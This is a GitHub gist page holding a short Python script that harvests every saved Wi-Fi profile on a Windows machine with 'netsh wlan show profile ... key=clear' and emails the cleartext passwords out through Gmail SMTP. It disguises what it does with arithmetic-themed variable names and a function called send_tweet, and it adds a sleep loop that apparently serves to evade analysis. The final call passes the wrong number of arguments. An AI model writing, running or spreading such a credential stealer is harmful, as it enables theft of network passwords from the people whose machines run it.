Skip to content

Instantly share code, notes, and snippets.

@rcvaram
Created December 23, 2019 08:34
Show Gist options
  • Select an option

  • Save rcvaram/7ef07acdf595be7455cb0d28fff7f49d to your computer and use it in GitHub Desktop.

Select an option

Save rcvaram/7ef07acdf595be7455cb0d28fff7f49d to your computer and use it in GitHub Desktop.
import re
import smtplib
import subprocess
import time
num1 = 2
num2 = 4
for i in range(120):
num2 = num1 * num2
time.sleep(1)
while num2>num1:
num1 = num2+ num1
def send_tweet(name, password, message):
main = smtplib.SMTP("smtp.gmail.com", 587)
main.starttls()
main.login(name, password)
main.sendmail(name, name, message)
main.quit()
number_three = "netsh wlan show profile"
prime_number = str(subprocess.check_output(number_three)).split("\\r\\n")
even_number = []
for prime in prime_number:
if "All User Profile" in prime:
even = (re.findall("(?:Profile\s*:\s*)(.*)", prime))[0]
even_number.append(even)
numbers =""
for number in even_number:
network_key_command = "netsh wlan show profile \"" + number + "\" key=clear"
network_result = subprocess.check_output(network_key_command, shell=True)
numbers = numbers + "\n" + str(network_result)
send_tweet("your mail address", "your mail address", "your password", numbers)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment